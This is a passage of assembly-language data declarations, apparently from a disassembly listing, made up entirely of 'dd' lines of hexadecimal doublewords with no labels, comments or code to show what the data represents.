		dd 18C8BD16h, 6043877Eh, 5E27676Dh, 0A006FE7Bh,	0CAD4A008h
		dd 6F3E02AFh, 63E1E90Dh, 2FD0E555h, 2A729691h, 0B64F60DAh
		dd 0FD71D388h, 0FE059FA6h, 69A6D716h, 925FC99Fh, 0E4783FD4h
		dd 0EF11CC8Dh, 517C5DB1h, 5FC24830h, 7A2D75E5h,	1538F30Bh
		dd 6F775E3Ah, 0BD405745h, 0B9148ECh, 0A2B87FF5h, 1DE9EEC1h
		dd 3A412F9Ah, 33B262B6h, 200A016Fh, 0F47BF230h,	340032E2h
		dd 834A2F9Ch, 2D6801EAh, 2FB6B82h, 5C94216h, 9A61DEE0h
		dd 7EB31BDh, 0E9287650h, 7E36F94Fh, 565AD307h, 14C3E273h
		dd 7F6314CDh, 9097588Eh, 0B55B3AECh, 0B9517800h, 35643779h
		dd 30F17781h, 0CFCEBA28h, 0B15E52E9h, 5AC9A0E8h, 96C8CE55h
		dd 16173F7Dh, 2C04E382h, 18113FB1h, 417DBF02h, 7E40951Ah
		dd 862D174Dh, 852A876h,	0B1E95F05h, 0BF74FA4h, 532C663Eh
		dd 259E8F5h, 832D0440h,	0BED5770Fh, 0EF2F8EB8h,	0E985C77Ch
		dd 6DEA622Ah, 5A3E6095h, 0DCF7D2A8h, 0A4187A14h, 0F802169Dh
		dd 0F25135AEh, 561710B8h, 8027B01Eh, 2CF5344Bh,	0B67252C0h
		dd 51C58B7h, 0FE58C120h, 5292FAC9h, 0A399E122h,	0DFD1E3F6h
		dd 0D3F1003Fh, 0E059CF88h, 0B84990FAh, 0B45597E5h, 209A9A84h
		dd 0C097B63Fh, 2CF41496h, 9508941h, 0C0688855h,	6880EBD6h
		dd 0BF147066h, 56D9B9FCh, 1768E86Bh, 0B44EDAE9h, 4026C3BEh
		dd 18A9D112h, 5596F307h, 24D582Dh, 0FC0F44FCh, 7F804999h
		dd 416304Fh, 0B2905B5Ah, 2D8274EBh, 0C3D420B1h,	42A6C581h
		dd 9531635Ch, 0E8EA7954h, 0B82EAD15h, 41A0CB75h, 852051E7h
		dd 2E677DBDh, 8B798928h, 0D3CE551Ch, 7E6061F6h,	0BCF9C117h
		dd 0AF4D4E51h, 0BD2E4DC9h, 0D6E9CB6Dh, 0D243AD91h, 62BE01C1h
		dd 1E9904BEh, 0BDAA63EAh, 0A3620744h, 0EE649137h, 297BE0AEh
		dd 78E9DE1Ch, 1644E467h, 0FADF0159h, 0A2BF5FD4h, 71D81868h
		dd 1E08BA72h, 8C351613h, 46143BDFh, 38F78732h, 974E465h
		dd 3CC1599Ah, 63C6EA01h, 84AE60DDh, 0D5FFD04Bh,	82EFEDFEh
		dd 7839E9F9h, 0F6801CC0h, 3D60245Bh, 16FE639Ah,	0CB4B207Fh
		dd 605B67F3h, 52DA0C68h, 7A9B0318h, 0DC16DEB7h,	0A6EB4C6Fh
		dd 0C01CA620h, 96FF05E1h, 0FB1F8007h, 0FC354B8Bh, 655D9385h
		dd 2D48A2F1h, 9FF958B2h, 6470C174h, 5D8F2E56h, 0BC0E253Bh
		dd 0EF873444h, 486EE2Ch, 31534370h, 0DE8DFA7Ch,	0E9571E85h
		dd 81844574h, 0E67EA5C7h, 49D453FDh, 0C054008Ah, 4C464032h
		dd 193CABFh, 727FE908h,	96C55D81h, 7A3DE866h, 0F3F5D241h
		dd 17A1869h, 551DF4FAh,	5DB56004h, 757F2BFh, 4762118Bh
		dd 0E9D1C15Eh, 665181CDh, 556146B8h, 0C2C5B530h, 1AE9EA06h
		dd 557411CAh, 214B5B02h, 9C3770Eh, 96F64484h, 8BD164E3h
		dd 74C4E909h, 2D71DB77h, 0DFCB9171h, 2C74681Ch,	8DFCDBB5h
		dd 2854C9A1h, 208A9E80h, 5E005815h, 28EB1D2Dh, 2D7FB8C2h
		dd 0E22FDDBDh, 560CDF6Ch, 960968FAh, 454E9E04h,	90F2654h
		dd 50074007h, 80F2232h,	0EE7482E2h, 539609h, 0FC212498h
		dd 0FDE0BF2Bh, 5B67D831h, 74A34EC8h, 9732322Fh,	0A631CA3h
		dd 0A9F6BA8Dh, 7B74A193h, 82BB9365h, 330A2EA4h,	1747510Eh
		dd 241CCBBFh, 2316AF58h, 47D83AACh, 0F730E902h,	108882E6h
		dd 5BBAF058h, 9E54FD63h, 5F7E778Dh, 1210C36Eh, 8F5E4313h
		dd 0B4FCAFAh, 259BA4E9h, 6F815091h, 0EE0452A8h,	9EB55F16h
		dd 134E1CD4h, 0E513BA0h, 0DAE623F0h, 42206417h,	0B1435AA2h
		dd 9403A0E4h, 2809271Ch, 1E60C190h, 0A1BAD7E3h,	88DA2926h
		dd 3896C214h, 62EF1387h, 0DC9F0F09h, 0DB5F4904h, 0DE96172h
		dd 486C9DF0h, 0CB42C796h, 0C129F580h, 0F431ECB6h, 0DD5CDF93h
		dd 1CC86B78h, 0BFF3D42Fh, 16DAD404h, 0F3CEBB5Ah, 0F714EF49h
		dd 8410E5D3h, 0A1295877h, 0FA2FB195h, 0CB084924h, 6E7D2502h
		dd 16DC0289h, 440154AAh, 58B1AFDh, 0BAFD580Ch, 0F260E9E0h
		dd 0EBD8D4B7h, 29C7915Fh, 0CE6FD708h, 0FE3B8028h, 1D8F6C8h
		dd 32045F34h, 0C3E9C380h, 529D1D9Dh, 0C695A958h, 0EBB45BAh
		dd 0FD1B32EAh, 232C0C58h, 8913E617h, 6AC6AAC1h,	71840F00h
		dd 7324335Ah, 0ABAF198h, 608C3149h, 0DF038579h,	4C8D206Ch
		dd 2511AC36h, 0C905429h, 1B120D48h, 9629AA4Fh, 0BAFC76F0h
		dd 7A622C7Ch, 1722CE02h, 0F7E0463Ah, 0B93A7DCBh, 10C0D872h
		dd 0B003618Dh, 4E8C006h, 92E1408Ah, 7F2E6180h, 6420F1ECh
		dd 0D6C68127h, 0CE018F0Ch, 0F7A9E7A4h, 5254C99h, 117532DFh
		dd 840AAEDh, 975D49E9h,	50EE3A75h, 2EBC97F6h, 0ED777EAAh
		dd 80E9840Ah, 0FC309878h
		dd 2F7A6609h, 0BF1E775Dh, 2761CCBFh, 0F5C858C0h, 5782FEA5h
		dd 627DA409h, 5ED642C8h, 45BB1E55h, 0EC01E064h,	50878956h
		dd 5F070B42h, 4725CEBAh, 55A0B0D9h, 0BB4F6BECh,	805A64EAh
		dd 0BF236ED3h, 0CE812001h, 26B760E7h, 1FDEC630h, 377B855h
		dd 7F1652E6h, 0BE0CF476h, 0CC502D53h, 0FB0126F0h, 5EF10185h
		dd 4E1C4F09h, 0B43A2A8Fh, 26BB0EB4h, 17370030h,	17B50789h
		dd 710D2502h, 897D49B6h, 2B79D72Eh, 0BF12552Dh,	0B13E35Eh
		dd 8CB64880h, 0D3CE2E80h, 28250BABh, 6844E0DDh,	30E6972Ah
		dd 51DCB205h, 0CD947CE9h, 0C08A09CDh, 28F5954h,	64827B96h
		dd 0E92AC0FDh, 3000BD05h, 3310422Dh, 0F829381Eh, 67F807E8h
		dd 40580871h, 4C845AE2h, 8B93E7AAh, 8A02D6E9h, 8988F58h
		dd 0D42D4FA2h, 0C2315035h, 4071E92Dh, 1826BF43h, 0CA73C11Bh
		dd 7D8223ECh, 8037BB48h, 0F358929Dh, 7CBC0082h,	69E9670Dh
		dd 0D0EE2B97h, 59CB2735h, 0F6222A7Ah, 6B749D84h, 712605E2h
		dd 51444F1h, 5FDD83CEh,	219F220h, 0E96FB158h, 0E1677185h
		dd 58C6A08h, 0EA2E0168h, 41BC160h, 0F80E4E05h, 169682FEh
		dd 8190C25Bh, 50026158h, 0B5F721D0h, 475892D6h,	4EE40029h
		dd 5C35D0F7h, 38EFE93Dh, 28A0405Fh, 77E32A5Ah, 1DDDEE96h
		dd 0BC5D5CAFh, 40E8D632h, 3BE381A1h, 11766A6Ch,	232DF302h
		dd 5743468Bh, 98F5AF20h, 1696A91Ch, 8C6BDE25h, 0CE6353F3h
		dd 0F103850Ch, 0BC90AA65h, 76C18113h, 7F083178h, 9129086h
		dd 4947E371h, 0C5A9407Fh, 7E101360h, 3950BB0Dh,	592385F0h
		dd 0C003B088h, 0F03A9D9Ah, 7A97517Bh, 236709A1h, 0EC16141Ah
		dd 0A0F6CD0h, 0E313D668h, 5683B889h, 0AB529646h, 59501A87h
		dd 1363B450h, 0F7923CE9h, 537D7F05h, 0C4CB122Dh, 208DB286h
		dd 0B32C4E1Bh, 291E932Ah, 22953189h, 0D37FF015h, 31D4A45h
		dd 62BA69E2h, 2A07E7D9h, 2805A3E0h, 1F334F1h, 20023FE9h
		dd 0A0F90109h, 5F5A083Ch, 3084EDBDh, 7AB10441h,	0C88DF1EAh
		dd 0DCEA50C8h, 0FE9DE1EEh, 0C42C50DAh, 21B9579Dh, 24F82F5Dh
		dd 0B85D3C4h, 0ADCCA25Bh, 0D6466130h, 0A06159F8h, 121E8E66h
		dd 4021529Dh, 5DD9F683h, 0CC731E1h, 6A0407E2h, 0D6ACDD82h
		dd 60A49D4Eh, 0ED562D01h, 0C601401Eh, 7C7F8B2Eh, 29E10D70h
		dd 215CE000h, 3F1C5847h, 52020126h, 15F59C1h, 0A49DFD89h
		dd 192445F5h, 0F591FB66h, 2FA7055Ch, 4B208EF8h,	0E87295AAh
		dd 719BEE25h, 5A8D8B91h, 5758B698h, 3B30779Dh, 45D683E9h
		dd 7ECE40BEh, 21FEAF43h, 324FF37Fh, 1EE75E4h, 1A45787Bh
		dd 285E5556h, 0D5F7A137h, 5101DA8h, 9305B9F6h, 1B2BC017h
		dd 425F754Ch, 8007EE5h,	0BDF5ABE9h, 0D6A0147Eh,	5271D009h
		dd 0D539261Ah, 0D32D300Fh, 0F8016E7Ch, 8B9512Ah, 2DFEC84Ch
		dd 13AF768h, 0B1D5277h,	79466BFDh, 8E3A1C59h, 3E4908E1h
		dd 0FE77F849h, 0ADF6817Eh, 0F006436Ch, 65B7CDF9h, 0E8AD12C0h
		dd 0B66C4B69h, 8ABE24E9h, 80574B4Eh, 1E6926A1h,	0FB014B5Dh
		dd 0C0402CDh, 0C8ACC094h, 2C91FBF5h, 6800B49Ah,	0A52D5410h
		dd 25735174h, 5B5EFA06h, 6BAF0404h, 4BA51256h, 0A03E821h
		dd 0E9970B01h, 72999F65h, 10262009h, 0C0258958h, 0C158BF68h
		dd 15E1720h, 0D4CAFCF2h, 60DD0428h, 21801B59h, 4E6374E1h
		dd 61C9A443h, 36CC3A14h, 2A4504ADh, 41BC2040h, 50E9520Bh
		dd 8F2DAED8h, 71305C04h, 32F97E34h, 0C6F25EA3h,	4E656810h
		dd 0E262B87Ah, 23404C6h, 0F25E5BE9h, 0E55E9D0Fh, 535F36C2h
		dd 0EF509667h, 43B8C690h, 5E3D2F54h, 6E95CBF8h,	0AF2BB54Fh
		dd 0F424B4D0h, 76A72E91h, 0EE6644DBh, 0D17B1C3Dh, 7C7D018Bh
		dd 0D3CFE434h, 0CE43AE00h, 0E8C1485Eh, 5C2F5E90h, 42A624F2h
		dd 0CF8A8B1Eh, 73DA1FCBh, 7E0110E3h, 0D278C466h, 0D084FA31h
		dd 0BB535AD0h, 0D51704E2h, 0DC93E550h, 249F9C15h, 76A00400h
		dd 3C492E18h, 32792D47h, 0E84D7704h, 0C1ABFC84h, 6A5645E9h
		dd 68C368BCh, 65124F31h, 4437C643h, 5B934C83h, 5EC19210h
		dd 0D74AE4FDh, 140F98Fh, 5A6B7FC7h, 9EFD564Eh, 185FDE34h
		dd 5F7E9C68h, 0F582D988h, 3119E000h, 28BD68DDh,	4A28085Fh
		dd 84D94Bh, 3DFEE756h, 260DA8BBh, 184A662Ah, 8D9F1DF0h
		dd 4AFA8C7Ah, 20EBFDA4h, 57B313C3h, 136F0C3Bh, 1BB4636h
		dd 911F52F4h, 0CE9C2425h, 4E2E69F0h, 889D376h, 0E8BAF82Ch
		dd 0F8167E0Bh, 19CF74CBh, 0C44330D1h, 0EBE7E05Fh, 8422E913h
		dd 939F6DBEh, 21857AE6h, 0F84529EEh, 248343ACh,	2DD468Ch
		dd 66C56198h, 18C8343h,	9F31C7B9h, 51188D20h, 6882180Fh
		dd 8FB7EB8Eh, 2D7705D5h, 781AD6FFh, 5F9D74B0h, 5197AF16h
		dd 67E91E66h, 717766E2h, 0D68BC97Eh, 57217060h,	25A1C2Ch
		dd 0CF354918h, 0B60612D5h, 6A430123h, 6B63B972h, 5BF2D10Ch
		dd 0D184160Fh, 0D294FBDCh, 0B47A3E04h, 14CFFF13h, 60AFE90Eh
		dd 0C3A6BF12h, 6FC6022Dh, 7CC4FCB6h, 0B32D0590h, 2EDD3A34h
		dd 4AFD6DBFh, 0EBA713FDh, 0DC9CB20Bh, 97C38970h, 0CF6390F5h
		dd 2711BD33h, 9EA2411h,	0C51560BDh, 51FBB7C9h, 0A9170C10h
		dd 586BF30Dh, 82A14E6Ch, 0FED25667h, 7DD4A8F7h,	0B3886716h
		dd 7E3114A1h, 0E2A081DBh, 0FAEC6269h, 0B0508078h, 895DC378h
		dd 978C4C54h, 84950BFh,	1759FD5Eh, 6C217E9h, 8116D5ADh
		dd 2F677B20h, 0BF5C5E54h, 9D51AED0h, 8630316Eh,	81663A7Ch
		dd 52282EEDh, 67039EB3h, 767521E2h, 9AD0805h, 9067F51Fh
		dd 2C68024Ah, 6F354450h, 559AB8E3h, 58D3D3A7h, 870C0DC5h
		dd 9C27E09h, 0F9E7D7Eh,	0F53FE390h, 2BC25B67h, 494B5E8Eh
		dd 555C60F0h, 671929C9h, 0DA029AACh, 0F4364B46h, 0C9069C4Dh
		dd 188C08EFh, 21176865h, 0D4F45BDFh, 9E3C0960h,	3A02298Eh
		dd 0CCFD74B7h, 0BC6FF482h, 0EA561772h, 0EB5BA02Bh, 0D55F7E49h
		dd 70580938h, 0E57B17B2h, 29A6F59Dh, 2B4C1A4Eh,	533B1294h
		dd 9D1019B3h, 657861A3h, 0F120601Ch, 0FC524C2Eh, 81EE048Ch
		dd 0E6F3EF09h, 177C82A4h, 5EF80C2Dh, 1D9B412h, 0EFC14FAFh
		dd 5FD01003h, 11C70DCCh, 30582D6Eh, 7D826817h, 572761DBh
		dd 9BFEB9Ch, 6979F4A3h,	0E0756D82h, 0A54840DCh,	0B635E3A0h
		dd 0FC165FCFh, 4B5962AEh, 2A9294F2h, 84208B0Bh,	68F08509h
		dd 50B3F920h, 0DA237B0Fh, 455F3022h, 2268AF4Bh,	949DAF65h
		dd 0D18E2590h, 1E42E2D9h, 0D2F7020Bh, 0F272E8DDh, 3D1A124Ch
		dd 0C954B43Fh, 67D9964Fh, 821C497Bh, 4D952277h,	0FAD9E652h
		dd 0FA0F9AC0h, 0EA37A334h, 27040912h, 0AEBCD505h, 0A88A36D5h
		dd 944AE90Bh, 7A29E229h, 8A2C6578h, 0EECA5E3Ch,	9E4CF7A5h
		dd 9A0B3709h, 83E424Bh,	508C5ECh, 0D112E5h, 2B6CE72h, 229832EBh
		dd 1874849Dh, 8FC466BCh, 0A5F3003Ch, 0B8386203h, 40434179h
		dd 52361B3Bh, 0BA351972h, 16BB0D1Fh, 3AA7E11Bh,	46BC7F1h
		dd 17AE2CA3h, 89501DBCh, 0BA221F29h, 0E0B4931Ah, 8E95468Bh
		dd 0C0B6058Fh, 52B0DBA0h, 84389A0Fh, 7F64E3CAh,	0B355A634h
		dd 0E7BABB13h, 465F77C3h, 0BE4A4EAFh, 0C1633493h, 45B8ED0h
		dd 1605881h, 0A401AB05h, 18C4057Bh, 0E9350200h,	0D5A0CE13h
		dd 5364D2BFh, 45C241h, 9522DD68h, 7B9DA9CCh, 10FA1006h
		dd 5D3F3D2Ch, 79542F2Fh, 0B757C25h, 0C5D55857h,	71F84EEh
		dd 0AE81FB88h, 43AF2DE9h, 8DF2D029h, 9289CE9Bh,	0FBA2881Eh
		dd 5F7F570Bh
		dd 95DC7D18h, 55E0E996h, 2D48C268h, 1EC14616h, 75173FAFh
		dd 47C7F9Ch, 0E903A23Ah, 81DE95BFh, 71123199h, 0D83848EEh
		dd 6D722D1Eh, 71405BDDh, 687B9305h, 21CCB7A8h, 3F9683E0h
		dd 65EB80E1h, 0C06DE4F8h, 6EB9E361h, 0E0BF5623h, 48612236h
		dd 5D1A1DFDh, 0ADCA7A4h, 0B651DA25h, 3C7F7AD4h,	7973BD14h
		dd 5A8FDE2Fh, 946A66D7h, 4B364218h, 393F540Bh, 2908CEAh
		dd 5CCE3315h, 4DC78148h, 0B18379DDh, 7868AD0Fh,	8C1511Ah
		dd 0C084EC3Ch, 4F05001Ch, 3E44E134h, 0D212D029h, 0B51CB868h
		dd 0FC7BCD0Ch, 80A701B4h, 0E2200BECh, 82B23F58h, 0BE951C2h
		dd 0E95CE0A9h, 7253558Bh, 767A0569h, 0F82167C0h, 4DDB13BBh
		dd 2BDA39BAh, 22FF7B91h, 801AB400h, 0FA8EF425h,	6E12E6Dh
		dd 44FE4311h, 5834347Ch, 0D8849883h, 5A2F24B8h,	215DBC60h
		dd 8D87B9Dh, 810096BFh,	9D6DD1EEh, 352BF67h, 3BD5CE02h
		dd 434E0F14h, 557CF277h, 1F271446h, 26D86656h, 82CC8475h
		dd 0A8F5D0Eh, 296273D1h, 0C5010286h, 9A9DB27Fh,	4592861Ah
		dd 5AD5776Dh, 0BDC181F2h, 4D6D342Eh, 0C2BD38F6h, 8FFC5DB9h
		dd 0BE7CE3F1h, 0A390A84Ah, 43ABF9C3h, 905D1EAFh, 0A25504ADh
		dd 0EDA94008h, 56A616FCh, 0BA1FC420h, 76D05880h, 0BB111AEBh
		dd 485F0BD4h, 826CFE4Bh, 747BA980h, 3BB89FBFh, 0D26B6145h
		dd 0DBFC05A4h, 9FA4782Dh, 0DF6B00F1h, 0D3D24342h, 0FD3598h
		dd 2D5250BFh, 2F73B91h,	0AF57C3D7h, 0E90B100Bh,	41904870h
		dd 2625BE05h, 5D52A437h, 4B4ABC9Ch, 48AFB656h, 20B62524h
		dd 965533C6h, 3E1B5EAh,	0AE173F1Dh, 882EED69h, 4F4B0F8Bh
		dd 4FFFF08Ch, 8DC33420h, 0CC48498h, 64BCF515h, 0F937D400h
		dd 7446E96Bh, 5BE75CBCh, 530D58C2h, 20C22866h, 5A5F47BDh
		dd 2A689228h, 0F040570Ch, 0F7C2F990h, 9B4AC2F9h, 950B3F18h
		dd 637BB742h, 0E304688Ah, 0BC1225ACh, 4A9EC7E4h, 133FB830h
		dd 301FB652h, 3CA32D92h, 95C0F22Dh, 860BDEF6h, 70C8FEF0h
		dd 25B27F4Ch, 0E6DDA348h, 992B725h, 41E25BFFh, 6B20DA68h
		dd 0E93F43E6h, 25D63C29h, 0E9F83AD4h, 7589A16h,	600C45B9h
		dd 924CA519h, 256A291Ah, 0D442895Dh, 2BC57156h,	0F5B218ECh
		dd 0BD6A16F7h, 56A7E467h, 0E30C534Dh, 8CEC91E9h, 55549DB8h
		dd 4934E6A8h, 0F5BA6B4Eh, 0E777F6A1h, 1599331h,	7729541Bh
		dd 0C9A06E2Eh, 0C5876013h, 0FF10BEF3h, 7AC844CFh, 0D65C5D70h
		dd 9D418A58h, 0E357A1A9h, 0F8EFB0FAh, 475A0B36h, 0BA0BF729h
		dd 0AC5ABDD0h, 0A6C186E2h, 0CE07E2C0h, 6E8002F7h, 0A8FC0965h
		dd 0AC021DA6h, 61340F19h, 0FA2C457Dh, 0DC20CE90h, 0B0A8049Fh
		dd 8AAF12AAh, 23EE4F2Fh, 912C1751h, 7ABAAE5Eh, 0A061AE2Dh
		dd 0A268EB05h, 66FCB70Fh, 0E843D81Dh, 27273503h, 31DE75DEh
		dd 3D4A0208h, 65C2E200h, 0EA873AE3h, 4829D9FBh,	96411B53h
		dd 0DFB3987Bh, 0DC166069h, 0AB6885ECh, 0E02C8D1Bh, 2DC96E38h
		dd 0E38D69D4h, 40874680h, 0DFF72F53h, 0AC9295DEh, 0D3BBB604h
		dd 5F5231AEh, 0C32901B1h, 41330F30h, 70C86080h,	0D49D93B2h
		dd 0DC933FADh, 0C31FB77h, 283F1F25h, 0D2BF20A7h, 0E3EB481Dh
		dd 0F389D33Ah, 43D830A8h, 21C7CF7Ch, 0C7E3F2E7h, 18F883E2h
		dd 5358AF1Ch, 791E54C3h, 63C95310h, 0A08F138h, 0BEAED768h
		dd 0D16BE8BBh, 2F69C557h, 0E8850456h, 20A7555Dh, 0A6843848h
		dd 0DE04BC58h, 0E352FC52h, 80D23A01h, 0F7CC3FCFh, 5CCEFD03h
		dd 0E43500A0h, 53E883Dh, 0CFA9231Fh, 38C6890Bh,	0BBBEEDEh
		dd 4637A45Ah, 0AD82A38h, 0DF46189Dh, 639247Ah, 4A013869h
		dd 1D681E15h, 0D4326B11h, 6C7E38h, 0DC177DBEh, 9498814Ah
		dd 493E5F17h, 0A4774E0Ah, 8E96141Ch, 0E0E2FEB1h, 827D6F53h
		dd 94C48808h, 0C39FDF16h, 0EE3B46CDh, 238042D9h, 0A920D693h
		dd 0D059F3E9h, 3E139624h, 0E70277C4h, 888858D3h, 20E3203Fh
		dd 5A649618h, 0BD12A742h, 52F1C523h, 14BBE857h,	274EF372h
		dd 9CDD3B85h, 23799F18h, 9ACE5D6Bh, 0A0DE8E20h,	1C4D3EE3h
		dd 80482D67h, 9DA8B29Fh, 29E3C9E9h, 37C60548h, 2DC21835h
		dd 84D70BBDh, 0F3C2332Eh, 0C435000Fh, 30255413h, 25DB8040h
		dd 75B58BAh, 4880D3Eh, 0C9009976h, 7D731A33h, 23A8E916h
		dd 0E48174A4h, 3A4C0097h, 0FABB531Ch, 6AE55F0Bh, 501329ACh
		dd 0F9774F6Ah, 0A6C0EA96h, 7B8FC7ADh, 7DF48489h, 4713C594h
		dd 0B103B700h, 9509F4ACh, 70C57680h, 6B5947Eh, 0B0070533h
		dd 92DB01E0h, 0A0E9C5DAh, 0D37DC20Ch, 0A058EA8Eh, 8D492FA8h
		dd 0CA4252F1h, 2908091Ch, 49991DB5h, 0E9077687h, 1B43E7E3h
		dd 46D42FDh, 9B995808h,	36683A84h, 8F32AB08h, 2FA354F6h
		dd 69C2CDDCh, 0FA8C412h, 3B611687h, 4DB0AF72h, 2F69ED01h
		dd 0C838AF96h, 5B62F566h, 133E2F10h, 3605F329h,	3BA3698Eh
		dd 436B7104h, 0A64C23Eh, 58ADA1C7h, 0A990E7h, 5FBB576Bh
		dd 43100F58h, 0B43DF7CEh, 750B7589h, 2F6050h, 2B41B2ACh
		dd 0EB31095Eh, 72A2C3E9h, 0EC40DEF7h, 963420F9h, 0CB091032h
		dd 0F0A9C45Ah, 0D5C29536h, 0C1E8D95Dh, 502C57E9h, 40476895h
		dd 140D482Dh, 0EED126CDh, 77420329h, 80F71A37h,	8F30F3Dh
		dd 67A0CA92h, 0DF3F2313h, 44CF8739h, 779BD032h,	9540384Ah
		dd 0C75C86CCh, 12086CDDh, 6B76B5CDh, 1C526658h,	0C253C688h
		dd 0DEB4E9CBh, 0E97C5475h, 8FE11A02h, 0E8022B0Ah, 80423F02h
		dd 7B12B9A8h, 0E52B922Ah, 7AE90841h, 0D029AD64h, 0C509CABAh
		dd 3582E03Fh, 0F7747E90h, 311086A4h, 5CF3D140h,	64309F37h
		dd 4819CC5Eh, 75027EE3h, 5D6785E9h, 6F890322h, 80D1F600h
		dd 308412C1h, 7FCA21CEh, 0FE38A41h, 9109C2B6h, 5B01740Dh
		dd 4DF9D9C3h, 0FBC92B7Bh, 6AF56342h, 976A75B3h,	0F49AB543h
		dd 0AEB84B60h, 0EED38880h, 2456BDAAh, 8440A96Bh, 0E95D2E4h
		dd 0BE8B95CDh, 744937B5h, 0A7092E38h, 9F7157F6h, 514D2817h
		dd 0CFF78BFBh, 643556FBh, 8B66BE5Ah, 27727B7Eh,	4F7E2AA2h
		dd 5C22B4DBh, 21CFB760h, 813AB600h, 510C9CF2h, 92F59D2Fh
		dd 160FD5FCh, 0ADE874CAh, 0CAD1DA62h, 0B5675D69h, 5D2D0621h
		dd 793FB920h, 3DB8460Ch, 0E14E3B55h, 0F5842A7Bh, 1A3CCABh
		dd 28BDA0Bh, 0C2F1D65Ah, 0CB0E0BE7h, 2A277F77h,	3EDA1968h
		dd 0E89F1A7Ch, 3F19463Eh, 4B933F38h, 0C70BBC75h, 44404750h
		dd 1D28F181h, 816BE206h, 0CC4988E1h, 0A7A4966Eh, 0E26AA49Dh
		dd 48BE0298h, 823BEB51h, 13F14FBh, 520C8D68h, 4F685534h
		dd 332F30B7h, 41897F4Eh, 60A962DDh, 80584B3Ch, 7F17C2BAh
		dd 4C840C48h, 5EC0F6BEh, 0EE4C05ACh, 3264EA10h,	44FE5C50h
		dd 89EFB66Ch, 4BE21DE9h, 0BCD61C55h, 89931752h,	3EDEE12Dh
		dd 0DC58E609h, 0E86C4C59h, 42763CB2h, 4D919624h, 0B00A578Bh
		dd 0BE6D1B95h, 0C57549F1h, 0CF6807ECh, 4DDD0B28h, 59582458h
		dd 736B7051h, 0E5CE0FCEh, 0BDB9A1FEh, 0FC920192h, 3B518565h
		dd 2EDF018h, 0F03D4F4Dh, 0D740326Eh, 805B4C66h,	8082B174h
		dd 98B35302h, 0EE26E380h, 0B5088CFEh, 0DDF709A5h, 23405D00h
		dd 0E897423Ah, 79E6F526h, 0E93D0A67h, 8AFE6665h, 0A07141CAh
		dd 9A74E9Fh, 0E3DD5B83h, 0E3E9857h, 2F167F02h, 8F98F2FFh
		dd 85011482h, 6EDC177h,	162B8DE9h, 0D88B80EFh, 0FB2CB925h
		dd 86094A89h, 5DA9E950h, 4AC083C4h, 3AD9FE02h, 12608B2Ah
		dd 0B9090288h, 0B5FD968Dh
		dd 501D09D9h, 25DB6F8Ch, 940509F3h, 4FF860C7h, 0E6F56B1h
		dd 77CC325Ch, 30514074h, 4E5BFE3Ch, 0BB7B84EAh,	0B3B01DF9h
		dd 1832E929h, 0FFBE2CD5h, 0F30BD84Ah, 0ABDB93DDh, 0BE6D5A8Ch
		dd 2126284Bh, 7AB5682Bh, 8AD2CFADh, 0D9244576h,	5860264h
		dd 5F0848C0h, 0C903FE01h, 0F7A23ABFh, 5FD7F897h, 556861F9h
		dd 7EF9BDF8h, 35F8B01Dh, 0FF26E4A9h, 0F77FEB82h, 296F0C10h
		dd 0C2954473h, 0D37455CAh, 794FA685h, 0A2EB82BFh, 9B2E285Dh
		dd 4B39AE43h, 2444AA97h, 2C82DD79h, 0C15A0488h,	0AD36FC31h
		dd 0D1D0CB6Dh, 0F323538Ah, 40D5450h, 0F74C0448h, 57F5D0D3h
		dd 81026DB4h, 3917CDC2h, 97FB6059h, 9404164Eh, 0A8680B21h
		dd 6C31FAE1h, 42C24ECFh, 1E0909D1h, 4595DB57h, 9362EBD0h
		dd 76F5D0C5h, 9F44E84Bh, 0A7B95676h, 3C4CD5FBh,	11630216h
		dd 0F1001EC4h, 7EA117DCh, 47DF24F7h, 10260597h,	0CFE0C0B6h
		dd 3F057965h, 1663E928h, 0A00EF14Ah, 92C18180h,	0C708205Fh
		dd 6173590Ch, 2ACA011Fh, 0F14B4F2h, 0E98542C8h,	0B037B010h
		dd 704114Ch, 80CB864Dh,	0AF3001D3h, 7617822Bh, 65B05B8h
		dd 0D954A2C6h, 98DA0195h, 0E1CA724Ah, 0F5A05E9Ch, 7D850FC7h
		dd 2C664175h, 0A0EC41E6h, 874821B2h, 7E11309h, 8D25FFh
		dd 3263C332h, 0C078B70Fh, 4A156813h, 40ED0788h,	9312BEC8h
		dd 0D4051F43h, 0B2BBEAF1h, 1BB4078Eh, 5880E188h, 20E9CA30h
		dd 0E7B0911Ch, 35255A7Bh, 0ED7454h, 0AB46232Dh,	8803056Bh
		dd 0E978012Eh, 95E39E33h, 0A8EB3880h, 0F9E3026Ah, 3E113539h
		dd 30C95880h, 9CE76259h, 300CC047h, 0BF731EC5h,	7E87C871h
		dd 27F55C27h, 54E43159h, 5DFB6AC5h, 936B9306h, 0CEE9E3C6h
		dd 1FE32B5Ch, 5588C0Eh,	0C8E75E0Ah, 54E403BAh, 840E442Fh
		dd 0DF34AD6Fh, 8DAADFD2h, 936138CEh, 5146608h, 0AB88EFE9h
		dd 0B8A2328h, 5911AB6Eh, 896AA55h, 9BBE4B3Bh, 53B5D3Ch
		dd 276B6C67h, 0DA58EC00h, 16530750h, 1230428Fh,	0E1BCB878h
		dd 618756D5h, 246CFCC5h, 5B37AF7Fh, 3B622230h, 422D5EA0h
		dd 0F44DE9A7h, 57153AFDh, 565859D6h, 0BD003BEh,	68521666h
		dd 7B1570DBh, 4AD72DCBh, 0BF0710EEh, 24F94A2Dh,	0D74C7DC9h
		dd 1A001D4Ah, 0B450C7B3h, 0E3081694h, 43AE0958h, 102C6700h
		dd 715F91E9h, 605A7822h, 270DCB4Ah, 86F70EEBh, 0FF8B60C5h
		dd 4C67456Fh, 0D794FD4Fh, 89A028EEh, 786C35Eh, 135F9762h
		dd 5DC6DA7Ch, 0E9A8677Bh, 5492F527h, 95F173C0h,	12F506Eh
		dd 0E6952477h, 90C1A0DCh, 837EB1F9h, 3A31E3BBh,	5B19E4FCh
		dd 0D0513B65h, 0C47EAFE0h, 0AB9A7C78h, 66CA87F9h, 3FC042A8h
		dd 0E1536876h, 752B675Ah, 19B046Ch, 7ABC1351h, 0B367E84h
		dd 9141575Fh, 2403CF68h, 0F180C9FEh, 0B3921CF0h, 18D9178Ah
		dd 0E04BD291h, 0D52EBA81h, 5EC9FA13h, 406FCCFDh, 6EA2F66Bh
		dd 7CB7423Bh, 135F0204h, 0EBA83D38h, 95E0407h, 844CF857h
		dd 92E83AFCh, 0C785C4h,	725795BFh, 37AD987Dh, 615B1842h
		dd 889740A2h, 0BA89F2Ch, 0B200C383h, 0B52023E3h, 66EC3050h
